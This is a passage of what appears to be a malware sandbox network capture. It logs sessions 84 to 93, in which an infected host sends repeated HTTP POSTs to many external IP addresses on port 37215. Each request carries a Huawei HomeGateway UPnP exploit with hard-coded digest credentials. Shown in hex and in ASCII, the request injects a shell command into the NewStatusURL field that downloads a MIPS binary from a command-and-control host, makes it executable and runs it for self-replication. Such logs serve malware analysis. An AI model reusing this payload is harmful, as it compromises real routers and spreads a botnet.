6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.14	60892	156.15.87.232	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:06.088731050 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.14	36812	197.243.145.35	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:06.090137959 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.14	41472	41.36.128.154	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:06.091598034 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.14	34488	156.108.202.74	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:06.093138933 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.14	38862	41.232.160.123	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:06.094671965 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.14	55586	156.33.212.75	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:06.115240097 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.14	46706	197.41.117.125	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:06.116168022 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.14	34170	156.214.246.139	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:06.117552996 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.14	55934	156.75.91.71	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:06.119015932 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.14	40270	197.103.118.254	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:06.120369911 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l 